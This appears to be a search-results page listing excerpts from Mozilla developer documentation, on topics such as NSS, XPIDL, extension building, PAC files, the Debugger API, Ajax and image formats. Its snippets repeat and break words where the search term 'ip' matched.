...----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <
ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c <a|b>"); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-20s specify db password [optional]\n\n", ...
...And 17 more matches
Components.utils.cloneInto
this function provides a safe way to take an object defined in a privileged scope and create a structured clone of it in a less-privileged scope. it returns a reference to the clone: var clonedobject = cloneinto(myobject, targetwindow); you can then assign the clone to an object in the target scope as an expando property, and scr
ipts running in that scope can access it: targetwindow.foo = clonedobject; in this way privileged code, such as an add-on, can share an object with less-privileged code like a normal web page scr
ipt. syntax components.utils.cloneinto(obj, targetscope[, options]); parameters obj : object the object to clone. targetscope : object the object to attach the object to. options : object this optional parameter is an object with the following...
...same semantics as functions exported using components.utils.exportfunction. see cloning objects that have functions below. wrapreflectors: a boolean value that determines if objects reflected from c++, such as dom objects, should be cloned. if omitted the default value is false. see cloning objects that contain dom elements below. returns a reference to the cloned object. ...
...wrapreflectors: a boolean value that determines if objects reflected from c++, such as dom objects, should be cloned. if omitted the default value is false. see cloning objects that contain dom elements below. returns a reference to the cloned object. ...
...And 17 more matches
nsIContentViewer
docshell/base/nsicontentviewer.idlscr
iptable handles displaying content. inherits from: nsisupports last changed in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) implemented by: ?????????????????????????????????????. ...
...amonkey 2.7) implemented by: ?????????????????????????????????????. ...
...zilla.org/????????????????????????????"] .createinstance(components.interfaces.nsicontentviewer); method overview void clearhistoryentry(); void close(in nsishentry historyentry); void destroy(); [noscr
ipt,notxpcom,nostdcall] nsiviewptr findcontainerview(); void getbounds(in nsintrectref abounds); native code only! [noscr
ipt,notxpcom] nsidocumentptr getdocument(); void hide(); void init(in nsiwidgetptr aparentwidget, [const] in nsintrectref abounds); native code only! void loadcomplete(in unsigned long astatus); void loadstart(in nsisupports adoc); void move(in long ax, in long ay); void open(in nsisupports astate, in nsishentry ashentry); void pagehid...
...And 17 more matches
XPIDL
idls make it possible to define interfaces which can then be processed by tools to autogenerate language-dependent interface specifications. xpidl is expected to converge towards webidl in the future. note: starting in gecko 9.0, the older xpidl utility, which was previously used to generate c++ header files, typelib information, and so forth has been replaced with pyxpidl in the gecko sdk. pyxpidl has been used for some time now, but now the older tool has been fully retired. ...
... mozilla::dom::promise** promise typedefs in idl are basically as they are in c or c++: you define first the type that you want to refer to and then the name of the type. types can of course be one of the fundamental types, or any other type declared via a typedef, interface, or a native type. native types are types which correspond to a given c++ type. most native types are not scr
iptable: if it is not present in the list above, then it is certainly not scr
iptable (some of the above, particularly jsid, are not scr
iptable). the contents of the parentheses of a native type declaration (although native declarations without parentheses are parsable, i do not trust that they are properly handled by the xpidl handlers) is a string equivalent to the c++ type. xpidl itself does not ...
...nstants are emitted in header files using anonymous enums, although there is an outstanding patch that combines adjacent constants into the same anonymous enums to quiet enum mismatch warnings. interfaces specifying interfaces is the primary purpose of using xpidl. interfaces are basically a collection of constants, methods, and attributes; in mozilla, these are the primary ways in which javascr
ipt code can interact with native c++ code. furthermore, interfaces can also inherit from another interface. every interface should inherit nsisupports in some fashion. however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code. table 4: basic interface ...
...And 17 more matches
Working with windows in chrome code
this article describes working with mult
iple windows in mozilla chrome code (xul applications and extensions). it contains t
ips and example code on opening new windows, finding an already opened window, and passing data between different windows. opening windows from a <scr
ipt> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents. the second parameter is the window's name; the name can be used in links or forms as the target attribute. this is different from the user-visible wind...
...eter is the window's name; the name can be used in links or forms as the target attribute. this is different from the user-visible window title, which is specified using xul. the third, and optional, parameter is a list of special window features the window should have. the window.opendialog function works similarly, but lets you specify optional arguments that can be referenced from the javascr
ipt code. it also handles window features a little differently, including always assuming the dialog feature is specified. from xpcom components and modules if the window object is unavailable (for example, when opening a window from xpcom component code), you might want to use nsiwindowwatcher interface. its parameters are similar to window.open; in fact, window.open's implementation calls nsiwin...
... inside your document. you can use browser.contentdocument to access that document and browser.contentwindow to access the window object of that document. you should be aware of xpcnativewrappers when working with untrusted content. with xpcnativewrappers turned on (which is the default in firefox 1.5+), your extension can safely access the dom of the content document, but not the content javascr
ipt. bypassing xpcnativewrapper to work with content javascr
ipt directly can lead to security problems. see interaction between privileged and non-privileged pages if you need to interact with the content page. the content shortcut in case of <browser type="content-primary" />, you can use the content shortcut property to accesss the window object of the content document. for example: // alerts ...
...And 17 more matches
Debugger.Object - Firefox Developer Tools
debugger.object a debugger.object instance represents an object in the debuggee, providing reflection-oriented methods to inspect and modify its referent. the referent's properties do not appear directly as properties of the debugger.object instance; the debugger can access them only through methods like debugger.object.prototype.getownpropertydescr
iptor and debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent's getters and setters. spidermonkey creates exactly one debugger.object instance for each debuggee object it presents to a given debugger instance: if the debugger encounters the same object through two different routes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object inst...
...outes (perhaps two functions are called on the same object), spidermonkey presents the same debugger.object instance to the debugger each time. this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects. javascr
ipt code in different compartments can have different views of the same object. for example, in firefox, code in privileged compartments sees content dom element objects without redefinitions or extensions made to that object's properties by content code. (in firefox terminology, privileged code sees the element through an "xray wrapper".) to ensure that debugger code sees each object just as the de...
...t remains live. this means that garbage collection has no visible effect on debugger.object instances. accessor properties of the debugger.object prototype a debugger.object instance inherits the following accessor properties from its prototype: proto the referent's prototype (as a new debugger.object instance), or null if it has no prototype. this accessor may throw if the referent is a scr
ipted proxy or some other sort of exotic object (an opaque wrapper, for example). class a string naming the ecmascr
ipt [[class]] of the referent. callable true if the referent is a callable object (such as a function or a function proxy); false otherwise. name the name of the referent, if it is a named function. if the referent is an anonymous function, or not a function at all, this is unde...
...And 17 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
if you're implementing controls/widgets, you should also see the accessible toolkit checklist. if you're interested in more about gecko's msaa implementation, read gecko info for windows accessibility vendors to learn how msaa clients can utilize gecko's msaa support. intro: what is msaa? msaa is the microsoft active accessibility (msaa) api, used on windows operating systems to support assistive technologies for users with disabilities. ...
... form of extensions to msaa, like mozilla has done with isimpledomnode (you can qi to it from iaccessible). this is likely to be a painful road even if you are a major player, in terms of getting the cooperation of at vendors. it may be a good enough solution; however, if what you need is jaws, dragon and zoomtext support. zoomtext and dragon can get by with your msaa support., and jaws can be scr
ipted (even by external developers) to support alternative interfaces. don't use msaa if you're working with a small number of at vendors, you can get everyone to agree on a different solution, and you're sure that you won't be needing to support other assistive technologies later. deciding which msaa features to support msaa methods - cheat sheet for developers the iaccessible interface is use...
...cname: get the "name" of the iaccessible, for example the name of a button, checkbox or menu item. try to use unique names for each item in a dialog so that voice dictation software doesn't have to deal with extra ambiguity.[important] get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a url for a link, the text a user entered in a field. [important] get_accdescr
iption: get a long descr
iption of the current iaccessible. this is not really too useful. get_accrole: get an enumerated value representing what this iaccessible is used for, for example. is it a link, static text, editable text, a checkbox, or a table cell, etc. [important] get_accstate: a 32 bit field representing possible on/off states, such as focused, focusable, selected, selectable, visibl...
...And 17 more matches
Proxy Auto-Configuration (PAC) file - HTTP
a proxy auto-configuration (pac) file is a javascr
ipt function that determines whether web browser requests (http, https, and ftp) go directly to the destination or are forwarded to a web proxy server. the javascr
ipt function contained in the pac file defines the function: function findproxyforurl(url, host) { // ... } syntax function findproxyforurl(url, host) parameters url the url being accessed. the path and query components of https:// urls are str
ipped. ...
...estination or are forwarded to a web proxy server. the javascr
ipt function contained in the pac file defines the function: function findproxyforurl(url, host) { // ... } syntax function findproxyforurl(url, host) parameters url the url being accessed. the path and query components of https:// urls are str
ipped. in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstr
ippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-str
ipping; as of chrome 81, path-str
ipping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path. host the ...
...http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path. host the hostname extracted from the url. this is only for convenience; it is the same string as between :// and the first : or / after that. the port number is not included in this parameter. it can be extracted from the url when necessary. ...
...And 17 more matches
ui/frame - Archive of obsolete content
experimental create html iframes, using bundled html, css and javascr
ipt, that can be added to a designated area of the firefox user interface. at the moment you can only add frames to a toolbar. usage this module exports the frame constructor, which can be used to create frame components. right now it can be used in conjunction with a toolbar: you create a frame, then supply it to the toolbar's constructor, and the content is then displayed inside the toolbar. constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory. ...
...it to the toolbar's constructor, and the content is then displayed inside the toolbar. constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory. ...
...he toolbar's constructor, and the content is then displayed inside the toolbar. constructing frames the frame constructor takes one mandatory option, which is a url pointing to an html document supplied under your add-ons "data" directory. ...
...And 16 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
there is a wealth of material on creating extensions for firefox. all of these documents currently assume, however, that you are developing your extension using xul and javascr
ipt only. for complex extensions, it may be necessary to create components in c++ that provide additional functionality. reasons why you might want to include c++ components in your extension include: need for high-performance beyond what can be delivered by javascr
ipt code. use of third-party libraries written in c or c++. use of mozilla interfaces that are not exposed via xpcom (e.g. nspr). note: with the modern jit javascr
ipt engine in gecko and js-ctypes more extension code can be written only in javascr
ipt than ever before. please consider all of your options...
...corporate this information. bambi meets mozilla none of this is for the faint of heart. in particular, the initial step involves building mozilla, which is a huge - nay, gargantuan! - project. many intelligent developers have been driven to the brink of insanity trying to build it for the first time. if you're not an experienced c++ developer, i wouldn't even bother. stick to javascr
ipt. on windows platforms the first time i built mozilla i used this guide. i can't even remember why anymore, but i got stuck in a number of places, and the whole affair ended up taking far longer than i originally expected. much furniture was smashed, much hair torn out by the roots. here's a comprehensive looking guide that's gotten good reviews. follow every step methodically and y...
...file.in. the actual makefiles tend to be very similar or identical to the templates, but the extra flexibility gained from having the makefiles generated dynamically is one of the things that makes the build system so powerful. anatomy of a simple c++ extension we assume that you are using c++ to write xpcom components that can be used either from other c++ components or from javascr
ipt. the process of creating a component is actually relatively straightforward when the mozilla build system is used. in the simplest case, a component will consist of a single main directory with two subdirectories, public/ and src/. the main directory and each subdirectory must contain a makefile.in (from now on i'll just refer to this file as a makefile although we know that it is actuall...
...And 16 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
e version, or nightly is generally a better idea if given the option, but some users take forever to upgrade. there will be no usage of the add-on sdk or any other external libraries here. everything will use apis available in firefox 17+ or code provided here. step 1: use services.jsm if you load one of mozilla's internal jsm files, for example services.jsm, you'll do so via privileged javascr
ipt code like this: components.utils.import("resource://gre/modules/services.jsm"); from here on out, it is assumed you've imported services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples. the examples will also assume that you know how to properly add instructions to your add-on's chrome.manifest to add and remove resource, chrome, locale, & etc. map...
... with that forever. it does still work if you don't have restartlessness to worry about, though the protocol (or scheme, or whatever term you prefer) really should be avoided at this point. the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded scr
ipt/data). step 2a: load your jsm from chrome:// now with that preface out of the way, this part is easy: drop support for firefox 3.x if you haven't already, move your jsm files to wherever you've got your chrome mapping to for your xul overlay and/or windows, import your files from that new chrome mapped path instead of the old resource one, and remove your "resource" line from your chrome.manif...
...resource mappings. also, drop support for firefox 4 through 9 while you're at it. prior to firefox 10, the chrome.manifest file you rely on wasn't loaded automatically for restartless add-ons. hacks were required, and probably a bad idea. step 2b: audit any remaining resource:// uri usage internal to your extension if you don't need resource:// uris for anything else, then you may be able to sk
ip the next step. if not, see if you still can't do things any other way. as with jsms, a chrome:// uri may be more appropriate. if you want to also make your add-on extractionless then you may need "step 3" if you're loading files with nsifileinputstream or something similar, or a jar: uri might work. if not, a file:// uri might be fine for you. restartless add-ons can easily get a uri for their in...
...And 16 more matches
The Essentials of an Extension - Archive of obsolete content
ch is extremely unlikely to be duplicated. unix-based systems have a command line tool called uuidgen that generates uuids. there are also downloadable tools for all platforms that generate them. the enclosing brackets are just notation, and they're just common practice. as long as your id has some uniqueness to it, it's ok to use either form. <em:name>xul school hello world</em:name> <em:descr
iption>welcome to xul school!</em:descr
iption> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepageurl>https://developer.mozilla.org/docs/xul_school</em:homepageurl> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager. there are many other tags that can be added, for contributors and translators. the full s...
...eator> <em:homepageurl>https://developer.mozilla.org/docs/xul_school</em:homepageurl> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager. there are many other tags that can be added, for contributors and translators. the full specification of the install.rdf file has all the details. ...
...:homepageurl> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager. there are many other tags that can be added, for contributors and translators. the full specification of the install.rdf file has all the details. since extensions can be translated to mult
iple languages, it is often necessary to translate the extension's descr
iption, or even its name. a localized descr
iption and name can be added with the following code: <em:localized> <descr
iption> <em:locale>es-es</em:locale> <em:name>xul school hola mundo</em:name> <em:descr
iption>bienvenido a xul school!</em:descr
iption> </descr
iption> </em:localized> the es-es locale string indicates that this is the spanish (es) localization for spain (es). yo...
...And 16 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
hilosophy of using "the right tool for the right job" is manifested most prominently in the design of the user interface. we provide an xml-based language called xul for defining the user interface of your application. css is used to style these ui's and dtd's are used to localize the textual information - making your application extremely flexible and able to be utilized across the globe. javascr
ipt, considered by many to be the best scr
ipting language ever designed is ideal for specifying the behavior of your interface widgets. where speed is the foremost consideration, we provide c++ libraries with multi-language interfaces for comprehensive, performant access to networking, filesystem, content, rendering, and much more. what this means to you as the developer is this: you can take advant...
...needs of developers and companies who are working to provide consumers with new interactive applications, solutions and services, gecko will become a key catalyst for new growth and innovation and for delivering anytime, anywhere access to millions of new users. as the heart of a browser, the browser engine software component is responsible for interpreting and rendering the graphics, text and scr
ipt on the web. with gecko, mozilla has cleanly separated the browser engine component from the rest of the client software so it can be embedded and used to interpret, display and run web content, applications and services on any computing platform or device. open source and freely available, gecko is small in size and modular and achieves rendering speed superior to all other browser engines - whi...
...ient development, including full support of web standards, a cross-platform/cross-device user interface language, an extensible architecture and embedding technologies. with its unprecedented power, speed and standards support, the gecko browser engine represents a major advance for developers. with gecko, developers seeking a streamlined way to create and distribute web-based services across mult
iple platforms and devices can write once to w3c standards and their content and web applications will be accessible from across computing platforms and devices. gecko is based on contributions from mozilla.org, the organization chartered with managing netscape's open source initiative among thousands of internet developers and partic
ipating vendors such as netscape. the gecko browser engine offers ...
...And 16 more matches
Tamarin build documentation - Archive of obsolete content
and building the tamarin central source code. for instructions on tamarin tracing, please see tamarin tracing build documentation. supported platforms tamarin currently supports the following operating systems and/or architectures. windows 32 and 64 bit mac osx 10.4, 10.5 on ppc mac osx 10.5, 10.6 on intel linux 32 and 64 bit solaris 10 on sparc android 2.2 on arm windows mobile 6.5 m
ips (linux) sh4 (linux) getting the tamarin source the tamarin source resides in mercurial at tamarin central. active development source resides at tamarin redux. in this document replace instances of tamarin-central with tamarin-redux to operate in the redux repository. use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tam...
...linux) getting the tamarin source the tamarin source resides in mercurial at tamarin central. active development source resides at tamarin redux. in this document replace instances of tamarin-central with tamarin-redux to operate in the redux repository. use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central t
ips for working with mercurial can be found here. building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone executable (shell) for executing files in the abc file format. running the shell without any arguments will list the available options. note that additional command-line arguments are only available in the debug conf...
...setup procedure below creates an android sdk/ndk entirely from publicly available sources. this sdk/ndk *must* be used if you've cloned tamarin at changeset 5844:92ad3ca84a0b or later and will be using the cross-compile build method. steps to create a public sdk/ndk tree on a mac: - create an sdk/ndk top folder under your main volume named /android-public. - download the android 2.3.3 mac sdk z
ip file from http://developer.android.com/sdk/index.html. unz
ip to your sdk/ndk top folder. make sure it's named 'android-sdk-mac_86'. - download the r5b mac ndk z
ip file from http://developer.android.com/sdk/ndk/index.html. unz
ip to your sdk/ndk top folder. rename this folder to 'android-ndk'. - run the android sdk/avd manager at /android-public/android-sdk-mac_86/tools/android and add android sd...
...And 16 more matches
Creating XPI Installer Modules - Archive of obsolete content
oduction this article is rather old and only applies to mozilla suite and seamonkey (until it gets converted to toolkit). addons for various toolkit applications, such as firefox or thunderbird, should be packaged in a different way. mozilla has introduced major changes to the way that themes and all the other parts of the ui are packaged. this new packaging scheme is called xpi (pronounced "z
ippy"), and interacts with xpinstall. a xpi file typically contains the resources to be installed (in this case the barley.jar we want to have installed in the mozilla/bin/chrome/ directory) and an install scr
ipt that guides the installation process. under the chrome/ directory, you'll notice that in addition to the package subdirectories, there are now also a handful of jar files, or java archives ...
...y contains the resources to be installed (in this case the barley.jar we want to have installed in the mozilla/bin/chrome/ directory) and an install scr
ipt that guides the installation process. under the chrome/ directory, you'll notice that in addition to the package subdirectories, there are now also a handful of jar files, or java archives (see figure below). jar is a file format based on the z
ip file format and is used for aggregating mult
iple files into a single file. these archives are redundant with the subdirectories: mozilla now installs both the compressed and uncompressed versions of the ui, though you can change this when you build mozilla yourself. chrome/ us/ us.jar chatzilla/ chatzilla.jar chrome.rdf chromelist.txt classic/ classic.jar comm/ comm.jar cont...
...essed files by default, a new way to aggregate and distribute the files has improved performance, made the ui components more portable and easier to install, and made the installation process a much easier one. however, this new arrangement does not make things much easier for the web or user interface developer. the relatively simple process of finding the appropriate resources (i.e. ...
...And 16 more matches
Custom toolbar button - Archive of obsolete content
) you do not need any special technical skills or tools, and almost all the information you need is on this page. introduction the technique described here does not involve any hacking. instead, you make your custom button as a self-contained extension in your profile. you can use the sample code provided here to make buttons that do various useful things. if you know how to program in javascr
ipt, then you can write your own code that does other things. you can use this page if all you really want is a button for some special purpose. you can also use this page to learn about extensions, and as a starting point if you plan to write a more complex extension. note that this extension is very simplified. use other tutorials and articles to find out more--the main extensions page here is a...
...pen file... from firefox's menu bar). from firefox's menu bar, choose view - character encoding - unicode (utf-8). check that the text you typed looks ok with this setting. if your text editor does not support utf-8, search the internet for a better one that you can download. optional tools you can optionally use any image editor to customize the images. you can optionally use a jar tool or z
ip tool to package your button as a cross-platform installable (xpi) for other people to install and use. making a button there are ten easy steps. when you have completed all the steps, you will have a structure like this in your profile directory: the profile directory and the extensions directory already exist. you will add the other directories and files that are shown in the diagram. (...
...ifier for the extension. there is more information about identifiers in a later section of this tutorial. 3. create a plain text file named install.rdf. copy the following content, making sure that you scroll to get all of it. ...
...And 16 more matches
Plug-in Development Overview - Gecko Plugin API Reference
reate a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scr
iptable for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using h...
.... a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg. if you define a new mime type for a plug-in, you must register it with ietf (internet engineering task force). until your new mime type is registered, preface its name with "x-", for example, image/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "mult
ipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "mult
ipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms. the following sections describe platform-specific discovery and registration: ms windo...
...elow in installation using the registry. but when the plug-in is loaded from a well-known directory, a different method must be used. in this case to ensure the plug-in file will be loaded, it should have a name in the form of "np*.dll". ...
...And 16 more matches
Handling common HTML and CSS problems - Learn web development
u will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high level princ
iples of cross browser testing. objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them. the trouble with html and css some of the trouble with html and css lies with the fact that both languages are fairly simple, and often developers don't take them seriously...
...oblems, and use appropriate tools and techniques to fix them. the trouble with html and css some of the trouble with html and css lies with the fact that both languages are fairly simple, and often developers don't take them seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page. in the worst cases, javascr
ipt is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). in other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. responsive design problems are also common -- a site that looks good in a desktop browser might ...
...rs another good option to choose is a so-called linter application, which not only points out errors, but can also flag up warnings about bad practices in your css, and other points besides. linters can generally be customized to be stricter or more relaxed in their error/warning reporting. there are many online linter applications, the best of which are probably dirty markup (html, css, javascr
ipt), and css lint (css only). these allows you to paste your code into a window, and it will flag up any errors with crosses, which can then be hovered to get an error message informing you what the problem is. dirty markup also allows you to make fixes to your markup using the clean button. however, it is not very convenient to have to copy and paste your code over to a web page to check its va...
...And 16 more matches
An overview of NSS Internals
developed by the mozilla.org projects traditionally used its own implementation of security protocols and cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support mult
iple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design pr...
...operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design princ
iples, and important relevant standards. in order to allow interoperability between software and devices that perform cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standar...
...cryptographic operations, nss conforms to a standard called pkcs#11. (note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module. mult
iple elements of nss's own modules have been implemented with this interface, and nss makes use of this interface when talking to those modules. this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a...
...And 16 more matches
Plug-in Development Overview - Plugins
reate a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scr
iptable for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using h...
.... a mime type is made up of a major type (such as application or image) and a minor type, for example, image/jpeg. if you define a new mime type for a plug-in, you must register it with ietf (internet engineering task force). until your new mime type is registered, preface its name with "x-", for example, image/x-nwim. for more information about mime types, see these mime rfcs: rfc-2045: "mult
ipurpose internet mail extensions (mime) part one: format of internet message bodies" rfc-2046: "mult
ipurpose internet mail extensions (mime) part two: media types" rfc-4288: "media type specifications and registration procedures" there are some variations to how plug-ins are handled on different platforms. the following sections describe platform-specific discovery and registration: ms windo...
...elow in installation using the registry. but when the plug-in is loaded from a well-known directory, a different method must be used. in this case to ensure the plug-in file will be loaded, it should have a name in the form of "np*.dll". ...
...And 16 more matches
Debugger - Firefox Developer Tools
from the debuggee, regardless of what sort of events or handlers or "points" we add to the interface. allowunobservedasmjs a boolean value indicating whether asm.js code running inside this debugger instance's debuggee globals is invisible to debugger api handlers and breakpoints. setting this to false inhibits the ahead-of-time asm.js compiler and forces asm.js code to run as normal javascr
ipt. this is an accessor property with a getter and setter. it is initially false in a freshly created debugger instance. setting this flag to true is intended for uses of subsystems of the debugger api (e.g, debugger.source) for purposes other than step debugging a target javascr
ipt program. allowwasmbinarysource a boolean value indicating whether webassembly sources will be available in bina...
...ther code coverage should be enabled inside each debuggee of this debugger instance. changing this flag value will recompile all jit code to add or remove code coverage instrumentation. changing this flag when any frame of the debuggee is currently active on the stack will produce an exception. setting this to true enables code coverage instrumentation, which can be accessed via the debugger.scr
ipt getoffsetscoverage function. in some cases, the code coverage might expose information which pre-date the modification of this flag. code coverage reports are monotone, thus one can take a snapshot when the debugger is enabled, and output the difference. setting this to false prevents this debugger instance from requiring any code coverage instrumentation, but it does not guarantee that the in...
...on as its sole argument and the debugger instance as the this value. this function should return a resumption value, which determines how the debuggee should continue. if the uncaught exception hook itself throws an exception,uncaught-hook-exception, spidermonkey throws a new error object,confess-to-debuggee-exception, to the debuggee whose message blames the debugger, and includes textual descr
iptions ofuncaught-hook-exception and the originaldebugger-exception. if uncaughtexceptionhook's value is null, spidermonkey throws an exception to the debuggee whose message blames the debugger, and includes a textual descr
iption ofdebugger-exception. assigning anything other than a callable value or null to this property throws a typeerror exception. (this is not an ideal way to handle debug...
...And 16 more matches
text-overflow - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the text-overflow property doesn't force an overflow to occur. to make text overflow its container you have to set other css properties: overflow and white-space. ...
...using one or two values. if one value is given, it specifies overflow behavior for the end of the line (the right end for left-to-right text, the left end for right-to-left text). if two values are given, the first specifies overflow behavior for the left end of the line, and the second specifies it for the right end of the line. ...
...ne or two values. if one value is given, it specifies overflow behavior for the end of the line (the right end for left-to-right text, the left end for right-to-left text). if two values are given, the first specifies overflow behavior for the left end of the line, and the second specifies it for the right end of the line. ...
...And 16 more matches
Getting Started - Developer guides
in a nutshell, it is the use of the xmlhttprequest object to communicate with servers. it can send and receive information in various formats, including json, xml, html, and text files. ajax's most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. ...
...hronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page. the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data from the server step 1 - how to make an http request in order to make an http request to the server with javascr
ipt, you need an instance of an object with the necessary functionality. this is where xmlhttprequest comes in. its predecessor originated in internet explorer as an activex object called xmlhttp. then, mozilla, safari, and other browsers followed, implementing an xmlhttprequest object that supported the methods and properties of microsoft's original activex object. meanwhile, microsoft implemented ...
... ie 6 and older httprequest = new activexobject("microsoft.xmlhttp"); } note: for illustration purposes, the above is a somewhat simplified version of the code to be used for creating an xmlhttp instance. for a more realistic example, see step 3 of this article. after making a request, you will receive a response back. at this stage, you need to tell the xmlhttp request object which javascr
ipt function will handle the response, by setting the onreadystatechange property of the object and naming it after the function to call when the request changes state, like this: httprequest.onreadystatechange = nameofthefunction; note that there are no parentheses or parameters after the function name, because you're assigning a reference to the function, rather than actually calling it. alterna...
...And 16 more matches
Image file type and format guide - Web media technologies
image file type details the following sections provide a brief overview of each of the image file types supported by web browsers. in the tables below, the term bits per component refers to the numbe...
...ces. mime type image/apng file extension(s) .apng specification wiki.mozilla.org/apng_specification browser compatibility chrome 59, edge 12, firefox 3, opera 46, safari 8 maximum dimensions 2,147,483,647x2,147,483,647 pixels supported color modes color mode bits per component (d) descr
iption greyscale 1, 2, 4, 8, and 16 each pixel consists of a single d-bit value indicating the brightness of the greyscale pixel. true color 8 and 16 each pixel is represented by three d-bit values indicating the level of the red, green, and blue color components. indexed color 1, 2, 4, and ...
...ou should typically avoid using bmp for web site content, as it's not a generally-accepted use of the format. bmp theoretically supports a variety of internal data representations. the simplest, and most commonly used, form of bmp file is an uncompressed raster image, with each pixel occupying 3 bytes representing its red, green, and blue components, and each row padded with 0x00 bytes to a mult
iple of 4 bytes wide. while other data representations are defined in the specification, they are not widely used and often completely unimplemented. these features include: support for different bit depths, indexed color, alpha channels, and different pixel orders (by default, bmp is written from bottom-left corner toward the right and top, rather than from the top-left corner toward the right and...
...And 16 more matches
Paths - SVG: Scalable Vector Graphics
complex shapes composed only of straight lines can be created as <polyline>s. while <polyline>s and <path>s can create similar-looking shapes, <polyline>s require a lot of small straight lines to simulate curves, and don't scale well to larger sizes. a good understanding of paths is important when drawing svgs. ...
...there is no real performance penalty or bonus for using one or the other. curve commands there are three different commands that can be used to create smooth curves. two of those curves are bezier curves, and the third is an "arc" or part of a circle. you might have already gained practical experience with bezier curves using path tools in inkscape, illustrator or photoshop. for a complete descr
iption of the math behind bezier curves, go to a reference like the one on wik
